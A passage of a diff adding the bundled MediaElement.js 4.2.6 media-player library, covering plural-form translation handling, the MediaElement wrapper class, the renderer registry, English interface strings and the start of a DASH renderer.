+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 1) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 2) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 === 3 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 === 4) {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					} else {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 7) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) > 6 && (arguments.length <= 0 ? undefined : arguments[0]) < 11) {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					} else {
+						return arguments.length <= 5 ? undefined : arguments[5];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 3 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 <= 10) {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 11) {
+						return arguments.length <= 5 ? undefined : arguments[5];
+					} else {
+						return arguments.length <= 6 ? undefined : arguments[6];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 11) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 100 > 10 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 2) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					return (arguments.length <= 0 ? undefined : arguments[0]) !== 11 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2];
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 8 && (arguments.length <= 0 ? undefined : arguments[0]) !== 11) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					}
+				}, function () {
+					return (arguments.length <= 0 ? undefined : arguments[0]) === 0 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2];
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 3) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 0) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}];
+			}();
+
+			return _pluralForms[form].apply(null, [number].concat(input));
+		};
+
+		if (i18n[language] !== undefined) {
+			str = i18n[language][message];
+			if (pluralParam !== null && typeof pluralParam === 'number') {
+				pluralForm = i18n[language]['mejs.plural-form'];
+				str = _plural.apply(null, [str, pluralParam, pluralForm]);
+			}
+		}
+
+		if (!str && i18n.en) {
+			str = i18n.en[message];
+			if (pluralParam !== null && typeof pluralParam === 'number') {
+				pluralForm = i18n.en['mejs.plural-form'];
+				str = _plural.apply(null, [str, pluralParam, pluralForm]);
+			}
+		}
+
+		str = str || message;
+
+		if (pluralParam !== null && typeof pluralParam === 'number') {
+			str = str.replace('%1', pluralParam);
+		}
+
+		return (0, _general.escapeHTML)(str);
+	}
+
+	return message;
+};
+
+_mejs2.default.i18n = i18n;
+
+if (typeof mejsL10n !== 'undefined') {
+	_mejs2.default.i18n.language(mejsL10n.language, mejsL10n.strings);
+}
+
+exports.default = i18n;
+
+},{"18":18,"7":7,"9":9}],6:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _document = _dereq_(2);
+
+var _document2 = _interopRequireDefault(_document);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _general = _dereq_(18);
+
+var _media2 = _dereq_(19);
+
+var _renderer = _dereq_(8);
+
+var _constants = _dereq_(16);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
+
+var MediaElement = function MediaElement(idOrNode, options, sources) {
+	var _this = this;
+
+	_classCallCheck(this, MediaElement);
+
+	var t = this;
+
+	sources = Array.isArray(sources) ? sources : null;
+
+	t.defaults = {
+		renderers: [],
+
+		fakeNodeName: 'mediaelementwrapper',
+
+		pluginPath: 'build/',
+
+		shimScriptAccess: 'sameDomain'
+	};
+
+	options = Object.assign(t.defaults, options);
+
+	t.mediaElement = _document2.default.createElement(options.fakeNodeName);
+
+	var id = idOrNode,
+	    error = false;
+
+	if (typeof idOrNode === 'string') {
+		t.mediaElement.originalNode = _document2.default.getElementById(idOrNode);
+	} else {
+		t.mediaElement.originalNode = idOrNode;
+		id = idOrNode.id;
+	}
+
+	if (t.mediaElement.originalNode === undefined || t.mediaElement.originalNode === null) {
+		return null;
+	}
+
+	t.mediaElement.options = options;
+	id = id || 'mejs_' + Math.random().toString().slice(2);
+
+	t.mediaElement.originalNode.setAttribute('id', id + '_from_mejs');
+
+	var tagName = t.mediaElement.originalNode.tagName.toLowerCase();
+	if (['video', 'audio'].indexOf(tagName) > -1 && !t.mediaElement.originalNode.getAttribute('preload')) {
+		t.mediaElement.originalNode.setAttribute('preload', 'none');
+	}
+
+	t.mediaElement.originalNode.parentNode.insertBefore(t.mediaElement, t.mediaElement.originalNode);
+
+	t.mediaElement.appendChild(t.mediaElement.originalNode);
+
+	var processURL = function processURL(url, type) {
+		if (_window2.default.location.protocol === 'https:' && url.indexOf('http:') === 0 && _constants.IS_IOS && _mejs2.default.html5media.mediaTypes.indexOf(type) > -1) {
+			var xhr = new XMLHttpRequest();
+			xhr.onreadystatechange = function () {
+				if (this.readyState === 4 && this.status === 200) {
+					var _url = _window2.default.URL || _window2.default.webkitURL,
+					    blobUrl = _url.createObjectURL(this.response);
+					t.mediaElement.originalNode.setAttribute('src', blobUrl);
+					return blobUrl;
+				}
+				return url;
+			};
+			xhr.open('GET', url);
+			xhr.responseType = 'blob';
+			xhr.send();
+		}
+
+		return url;
+	};
+
+	var mediaFiles = void 0;
+
+	if (sources !== null) {
+		mediaFiles = sources;
+	} else if (t.mediaElement.originalNode !== null) {
+
+		mediaFiles = [];
+
+		switch (t.mediaElement.originalNode.nodeName.toLowerCase()) {
+			case 'iframe':
+				mediaFiles.push({
+					type: '',
+					src: t.mediaElement.originalNode.getAttribute('src')
+				});
+				break;
+			case 'audio':
+			case 'video':
+				var _sources = t.mediaElement.originalNode.children.length,
+				    nodeSource = t.mediaElement.originalNode.getAttribute('src');
+
+				if (nodeSource) {
+					var node = t.mediaElement.originalNode,
+					    type = (0, _media2.formatType)(nodeSource, node.getAttribute('type'));
+					mediaFiles.push({
+						type: type,
+						src: processURL(nodeSource, type)
+					});
+				}
+
+				for (var i = 0; i < _sources; i++) {
+					var n = t.mediaElement.originalNode.children[i];
+					if (n.tagName.toLowerCase() === 'source') {
+						var src = n.getAttribute('src'),
+						    _type = (0, _media2.formatType)(src, n.getAttribute('type'));
+						mediaFiles.push({ type: _type, src: processURL(src, _type) });
+					}
+				}
+				break;
+		}
+	}
+
+	t.mediaElement.id = id;
+	t.mediaElement.renderers = {};
+	t.mediaElement.events = {};
+	t.mediaElement.promises = [];
+	t.mediaElement.renderer = null;
+	t.mediaElement.rendererName = null;
+
+	t.mediaElement.changeRenderer = function (rendererName, mediaFiles) {
+
+		var t = _this,
+		    media = Object.keys(mediaFiles[0]).length > 2 ? mediaFiles[0] : mediaFiles[0].src;
+
+		if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && t.mediaElement.renderer.name === rendererName) {
+			t.mediaElement.renderer.pause();
+			if (t.mediaElement.renderer.stop) {
+				t.mediaElement.renderer.stop();
+			}
+			t.mediaElement.renderer.show();
+			t.mediaElement.renderer.setSrc(media);
+			return true;
+		}
+
+		if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) {
+			t.mediaElement.renderer.pause();
+			if (t.mediaElement.renderer.stop) {
+				t.mediaElement.renderer.stop();
+			}
+			t.mediaElement.renderer.hide();
+		}
+
+		var newRenderer = t.mediaElement.renderers[rendererName],
+		    newRendererType = null;
+
+		if (newRenderer !== undefined && newRenderer !== null) {
+			newRenderer.show();
+			newRenderer.setSrc(media);
+			t.mediaElement.renderer = newRenderer;
+			t.mediaElement.rendererName = rendererName;
+			return true;
+		}
+
+		var rendererArray = t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : _renderer.renderer.order;
+
+		for (var _i = 0, total = rendererArray.length; _i < total; _i++) {
+			var index = rendererArray[_i];
+
+			if (index === rendererName) {
+				var rendererList = _renderer.renderer.renderers;
+				newRendererType = rendererList[index];
+
+				var renderOptions = Object.assign(newRendererType.options, t.mediaElement.options);
+				newRenderer = newRendererType.create(t.mediaElement, renderOptions, mediaFiles);
+				newRenderer.name = rendererName;
+
+				t.mediaElement.renderers[newRendererType.name] = newRenderer;
+				t.mediaElement.renderer = newRenderer;
+				t.mediaElement.rendererName = rendererName;
+				newRenderer.show();
+				return true;
+			}
+		}
+
+		return false;
+	};
+
+	t.mediaElement.setSize = function (width, height) {
+		if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null) {
+			t.mediaElement.renderer.setSize(width, height);
+		}
+	};
+
+	t.mediaElement.generateError = function (message, urlList) {
+		message = message || '';
+		urlList = Array.isArray(urlList) ? urlList : [];
+		var event = (0, _general.createEvent)('error', t.mediaElement);
+		event.message = message;
+		event.urls = urlList;
+		t.mediaElement.dispatchEvent(event);
+		error = true;
+	};
+
+	var props = _mejs2.default.html5media.properties,
+	    methods = _mejs2.default.html5media.methods,
+	    addProperty = function addProperty(obj, name, onGet, onSet) {
+		var oldValue = obj[name];
+		var getFn = function getFn() {
+			return onGet.apply(obj, [oldValue]);
+		},
+		    setFn = function setFn(newValue) {
+			oldValue = onSet.apply(obj, [newValue]);
+			return oldValue;
+		};
+
+		Object.defineProperty(obj, name, {
+			get: getFn,
+			set: setFn
+		});
+	},
+	    assignGettersSetters = function assignGettersSetters(propName) {
+		if (propName !== 'src') {
+
+			var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1),
+			    getFn = function getFn() {
+				return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['get' + capName] === 'function' ? t.mediaElement.renderer['get' + capName]() : null;
+			},
+			    setFn = function setFn(value) {
+				if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer['set' + capName] === 'function') {
+					t.mediaElement.renderer['set' + capName](value);
+				}
+			};
+
+			addProperty(t.mediaElement, propName, getFn, setFn);
+			t.mediaElement['get' + capName] = getFn;
+			t.mediaElement['set' + capName] = setFn;
+		}
+	},
+	    getSrc = function getSrc() {
+		return t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null ? t.mediaElement.renderer.getSrc() : null;
+	},
+	    setSrc = function setSrc(value) {
+		var mediaFiles = [];
+
+		if (typeof value === 'string') {
+			mediaFiles.push({
+				src: value,
+				type: value ? (0, _media2.getTypeFromFile)(value) : ''
+			});
+		} else if ((typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src !== undefined) {
+			var _src = (0, _media2.absolutizeUrl)(value.src),
+			    _type2 = value.type,
+			    media = Object.assign(value, {
+				src: _src,
+				type: (_type2 === '' || _type2 === null || _type2 === undefined) && _src ? (0, _media2.getTypeFromFile)(_src) : _type2
+			});
+			mediaFiles.push(media);
+		} else if (Array.isArray(value)) {
+			for (var _i2 = 0, total = value.length; _i2 < total; _i2++) {
+
+				var _src2 = (0, _media2.absolutizeUrl)(value[_i2].src),
+				    _type3 = value[_i2].type,
+				    _media = Object.assign(value[_i2], {
+					src: _src2,
+					type: (_type3 === '' || _type3 === null || _type3 === undefined) && _src2 ? (0, _media2.getTypeFromFile)(_src2) : _type3
+				});
+
+				mediaFiles.push(_media);
+			}
+		}
+
+		var renderInfo = _renderer.renderer.select(mediaFiles, t.mediaElement.options.renderers.length ? t.mediaElement.options.renderers : []),
+		    event = void 0;
+
+		if (!t.mediaElement.paused) {
+			t.mediaElement.pause();
+			event = (0, _general.createEvent)('pause', t.mediaElement);
+			t.mediaElement.dispatchEvent(event);
+		}
+		t.mediaElement.originalNode.src = mediaFiles[0].src || '';
+
+		if (renderInfo === null && mediaFiles[0].src) {
+			t.mediaElement.generateError('No renderer found', mediaFiles);
+			return;
+		}
+
+		return mediaFiles[0].src ? t.mediaElement.changeRenderer(renderInfo.rendererName, mediaFiles) : null;
+	},
+	    triggerAction = function triggerAction(methodName, args) {
+		try {
+			if (methodName === 'play' && t.mediaElement.rendererName === 'native_dash') {
+				var response = t.mediaElement.renderer[methodName](args);
+				if (response && typeof response.then === 'function') {
+					response.catch(function () {
+						if (t.mediaElement.paused) {
+							setTimeout(function () {
+								var tmpResponse = t.mediaElement.renderer.play();
+								if (tmpResponse !== undefined) {
+									tmpResponse.catch(function () {
+										if (!t.mediaElement.renderer.paused) {
+											t.mediaElement.renderer.pause();
+										}
+									});
+								}
+							}, 150);
+						}
+					});
+				}
+			} else {
+				t.mediaElement.renderer[methodName](args);
+			}
+		} catch (e) {
+			t.mediaElement.generateError(e, mediaFiles);
+		}
+	},
+	    assignMethods = function assignMethods(methodName) {
+		t.mediaElement[methodName] = function () {
+			for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
+				args[_key] = arguments[_key];
+			}
+
+			if (t.mediaElement.renderer !== undefined && t.mediaElement.renderer !== null && typeof t.mediaElement.renderer[methodName] === 'function') {
+				if (t.mediaElement.promises.length) {
+					Promise.all(t.mediaElement.promises).then(function () {
+						triggerAction(methodName, args);
+					}).catch(function (e) {
+						t.mediaElement.generateError(e, mediaFiles);
+					});
+				} else {
+					triggerAction(methodName, args);
+				}
+			}
+			return null;
+		};
+	};
+
+	addProperty(t.mediaElement, 'src', getSrc, setSrc);
+	t.mediaElement.getSrc = getSrc;
+	t.mediaElement.setSrc = setSrc;
+
+	for (var _i3 = 0, total = props.length; _i3 < total; _i3++) {
+		assignGettersSetters(props[_i3]);
+	}
+
+	for (var _i4 = 0, _total = methods.length; _i4 < _total; _i4++) {
+		assignMethods(methods[_i4]);
+	}
+
+	t.mediaElement.addEventListener = function (eventName, callback) {
+		t.mediaElement.events[eventName] = t.mediaElement.events[eventName] || [];
+
+		t.mediaElement.events[eventName].push(callback);
+	};
+	t.mediaElement.removeEventListener = function (eventName, callback) {
+		if (!eventName) {
+			t.mediaElement.events = {};
+			return true;
+		}
+
+		var callbacks = t.mediaElement.events[eventName];
+
+		if (!callbacks) {
+			return true;
+		}
+
+		if (!callback) {
+			t.mediaElement.events[eventName] = [];
+			return true;
+		}
+
+		for (var _i5 = 0; _i5 < callbacks.length; _i5++) {
+			if (callbacks[_i5] === callback) {
+				t.mediaElement.events[eventName].splice(_i5, 1);
+				return true;
+			}
+		}
+		return false;
+	};
+
+	t.mediaElement.dispatchEvent = function (event) {
+		var callbacks = t.mediaElement.events[event.type];
+		if (callbacks) {
+			for (var _i6 = 0; _i6 < callbacks.length; _i6++) {
+				callbacks[_i6].apply(null, [event]);
+			}
+		}
+	};
+
+	if (mediaFiles.length) {
+		t.mediaElement.src = mediaFiles;
+	}
+
+	if (t.mediaElement.promises.length) {
+		Promise.all(t.mediaElement.promises).then(function () {
+			if (t.mediaElement.options.success) {
+				t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode);
+			}
+		}).catch(function () {
+			if (error && t.mediaElement.options.error) {
+				t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode);
+			}
+		});
+	} else {
+		if (t.mediaElement.options.success) {
+			t.mediaElement.options.success(t.mediaElement, t.mediaElement.originalNode);
+		}
+
+		if (error && t.mediaElement.options.error) {
+			t.mediaElement.options.error(t.mediaElement, t.mediaElement.originalNode);
+		}
+	}
+
+	return t.mediaElement;
+};
+
+_window2.default.MediaElement = MediaElement;
+_mejs2.default.MediaElement = MediaElement;
+
+exports.default = MediaElement;
+
+},{"16":16,"18":18,"19":19,"2":2,"3":3,"7":7,"8":8}],7:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var mejs = {};
+
+mejs.version = '4.2.6';
+
+mejs.html5media = {
+	properties: ['volume', 'src', 'currentTime', 'muted', 'duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable', 'currentSrc', 'preload', 'bufferedBytes', 'bufferedTime', 'initialTime', 'startOffsetTime', 'defaultPlaybackRate', 'playbackRate', 'played', 'autoplay', 'loop', 'controls'],
+	readOnlyProperties: ['duration', 'paused', 'ended', 'buffered', 'error', 'networkState', 'readyState', 'seeking', 'seekable'],
+
+	methods: ['load', 'play', 'pause', 'canPlayType'],
+
+	events: ['loadstart', 'durationchange', 'loadedmetadata', 'loadeddata', 'progress', 'canplay', 'canplaythrough', 'suspend', 'abort', 'error', 'emptied', 'stalled', 'play', 'playing', 'pause', 'waiting', 'seeking', 'seeked', 'timeupdate', 'ended', 'ratechange', 'volumechange'],
+
+	mediaTypes: ['audio/mp3', 'audio/ogg', 'audio/oga', 'audio/wav', 'audio/x-wav', 'audio/wave', 'audio/x-pn-wav', 'audio/mpeg', 'audio/mp4', 'video/mp4', 'video/webm', 'video/ogg', 'video/ogv']
+};
+
+_window2.default.mejs = mejs;
+
+exports.default = mejs;
+
+},{"3":3}],8:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+exports.renderer = undefined;
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
+
+var Renderer = function () {
+	function Renderer() {
+		_classCallCheck(this, Renderer);
+
+		this.renderers = {};
+		this.order = [];
+	}
+
+	_createClass(Renderer, [{
+		key: 'add',
+		value: function add(renderer) {
+			if (renderer.name === undefined) {
+				throw new TypeError('renderer must contain at least `name` property');
+			}
+
+			this.renderers[renderer.name] = renderer;
+			this.order.push(renderer.name);
+		}
+	}, {
+		key: 'select',
+		value: function select(mediaFiles) {
+			var renderers = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : [];
+
+			var renderersLength = renderers.length;
+
+			renderers = renderers.length ? renderers : this.order;
+
+			if (!renderersLength) {
+				var rendererIndicator = [/^(html5|native)/i, /^flash/i, /iframe$/i],
+				    rendererRanking = function rendererRanking(renderer) {
+					for (var i = 0, total = rendererIndicator.length; i < total; i++) {
+						if (rendererIndicator[i].test(renderer)) {
+							return i;
+						}
+					}
+					return rendererIndicator.length;
+				};
+
+				renderers.sort(function (a, b) {
+					return rendererRanking(a) - rendererRanking(b);
+				});
+			}
+
+			for (var i = 0, total = renderers.length; i < total; i++) {
+				var key = renderers[i],
+				    _renderer = this.renderers[key];
+
+				if (_renderer !== null && _renderer !== undefined) {
+					for (var j = 0, jl = mediaFiles.length; j < jl; j++) {
+						if (typeof _renderer.canPlayType === 'function' && typeof mediaFiles[j].type === 'string' && _renderer.canPlayType(mediaFiles[j].type)) {
+							return {
+								rendererName: _renderer.name,
+								src: mediaFiles[j].src
+							};
+						}
+					}
+				}
+			}
+
+			return null;
+		}
+	}, {
+		key: 'order',
+		set: function set(order) {
+			if (!Array.isArray(order)) {
+				throw new TypeError('order must be an array of strings.');
+			}
+
+			this._order = order;
+		},
+		get: function get() {
+			return this._order;
+		}
+	}, {
+		key: 'renderers',
+		set: function set(renderers) {
+			if (renderers !== null && (typeof renderers === 'undefined' ? 'undefined' : _typeof(renderers)) !== 'object') {
+				throw new TypeError('renderers must be an array of objects.');
+			}
+
+			this._renderers = renderers;
+		},
+		get: function get() {
+			return this._renderers;
+		}
+	}]);
+
+	return Renderer;
+}();
+
+var renderer = exports.renderer = new Renderer();
+
+_mejs2.default.Renderers = renderer;
+
+},{"7":7}],9:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+var EN = exports.EN = {
+	'mejs.plural-form': 1,
+
+	'mejs.download-file': 'Download File',
+
+	'mejs.install-flash': 'You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https://get.adobe.com/flashplayer/',
+
+	'mejs.fullscreen': 'Fullscreen',
+
+	'mejs.play': 'Play',
+	'mejs.pause': 'Pause',
+
+	'mejs.time-slider': 'Time Slider',
+	'mejs.time-help-text': 'Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.',
+	'mejs.live-broadcast': 'Live Broadcast',
+
+	'mejs.volume-help-text': 'Use Up/Down Arrow keys to increase or decrease volume.',
+	'mejs.unmute': 'Unmute',
+	'mejs.mute': 'Mute',
+	'mejs.volume-slider': 'Volume Slider',
+
+	'mejs.video-player': 'Video Player',
+	'mejs.audio-player': 'Audio Player',
+
+	'mejs.captions-subtitles': 'Captions/Subtitles',
+	'mejs.captions-chapters': 'Chapters',
+	'mejs.none': 'None',
+	'mejs.afrikaans': 'Afrikaans',
+	'mejs.albanian': 'Albanian',
+	'mejs.arabic': 'Arabic',
+	'mejs.belarusian': 'Belarusian',
+	'mejs.bulgarian': 'Bulgarian',
+	'mejs.catalan': 'Catalan',
+	'mejs.chinese': 'Chinese',
+	'mejs.chinese-simplified': 'Chinese (Simplified)',
+	'mejs.chinese-traditional': 'Chinese (Traditional)',
+	'mejs.croatian': 'Croatian',
+	'mejs.czech': 'Czech',
+	'mejs.danish': 'Danish',
+	'mejs.dutch': 'Dutch',
+	'mejs.english': 'English',
+	'mejs.estonian': 'Estonian',
+	'mejs.filipino': 'Filipino',
+	'mejs.finnish': 'Finnish',
+	'mejs.french': 'French',
+	'mejs.galician': 'Galician',
+	'mejs.german': 'German',
+	'mejs.greek': 'Greek',
+	'mejs.haitian-creole': 'Haitian Creole',
+	'mejs.hebrew': 'Hebrew',
+	'mejs.hindi': 'Hindi',
+	'mejs.hungarian': 'Hungarian',
+	'mejs.icelandic': 'Icelandic',
+	'mejs.indonesian': 'Indonesian',
+	'mejs.irish': 'Irish',
+	'mejs.italian': 'Italian',
+	'mejs.japanese': 'Japanese',
+	'mejs.korean': 'Korean',
+	'mejs.latvian': 'Latvian',
+	'mejs.lithuanian': 'Lithuanian',
+	'mejs.macedonian': 'Macedonian',
+	'mejs.malay': 'Malay',
+	'mejs.maltese': 'Maltese',
+	'mejs.norwegian': 'Norwegian',
+	'mejs.persian': 'Persian',
+	'mejs.polish': 'Polish',
+	'mejs.portuguese': 'Portuguese',
+	'mejs.romanian': 'Romanian',
+	'mejs.russian': 'Russian',
+	'mejs.serbian': 'Serbian',
+	'mejs.slovak': 'Slovak',
+	'mejs.slovenian': 'Slovenian',
+	'mejs.spanish': 'Spanish',
+	'mejs.swahili': 'Swahili',
+	'mejs.swedish': 'Swedish',
+	'mejs.tagalog': 'Tagalog',
+	'mejs.thai': 'Thai',
+	'mejs.turkish': 'Turkish',
+	'mejs.ukrainian': 'Ukrainian',
+	'mejs.vietnamese': 'Vietnamese',
+	'mejs.welsh': 'Welsh',
+	'mejs.yiddish': 'Yiddish'
+};
+
+},{}],10:[function(_dereq_,module,exports){
+'use strict';
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _window = _dereq_(3);
+
+var _window2 = _interopRequireDefault(_window);
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _renderer = _dereq_(8);
+
+var _general = _dereq_(18);
+
+var _media = _dereq_(19);
+
+var _constants = _dereq_(16);
+
+var _dom = _dereq_(17);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var NativeDash = {
+
+	promise: null,
+
+	load: function load(settings) {
+		if (typeof dashjs !== 'undefined') {
+			NativeDash.promise = new Promise(function (resolve) {
+				resolve();
+			}).then(function () {
+				NativeDash._createPlayer(settings);
+			});
+		} else {
+			settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.dashjs.org/latest/dash.all.min.js';
+
+			NativeDash.promise = NativeDash.promise || (0, _dom.loadScript)(settings.options.path);
+			NativeDash.promise.then(function () {
+				NativeDash._createPlayer(settings);
+			});
+		}
+
+		return NativeDash.promise;
+	},
+
+	_createPlayer: function _createPlayer(settings) {
+		var player = dashjs.MediaPlayer().create();
+		_window2.default['__ready__' + settings.id](player);
+		return player;
+	}
+};
+
+var DashNativeRenderer = {
+	name: 'native_dash',
+	options: {
+		prefix: 'native_dash',
+		dash: {
+			path: 'https://cdn.dashjs.org/latest/dash.all.min.js',
+			debug: false,
+			drm: {},
+
+			robustnessLevel: ''
+		}
+	},
+
+	canPlayType: function canPlayType(type) {
+		return _constants.HAS_MSE && ['application/dash+xml'].indexOf(type.toLowerCase()) > -1;
+	},
+
+	create: function create(mediaElement, options, mediaFiles) {
+
+		var originalNode = mediaElement.originalNode,
+		    id = mediaElement.id + '_' + options.prefix,
+		    autoplay = originalNode.autoplay,
+		    children = originalNode.children;
+
+		var node = null,
+		    dashPlayer = null;
+
+		originalNode.removeAttribute('type');
+		for (var i = 0, total = children.length; i < total; i++) {
+			children[i].removeAttribute('type');
+		}
+
+		node = originalNode.cloneNode(true);
+		options = Object.assign(options, mediaElement.options);
+
+		var props = _mejs2.default.html5media.properties,
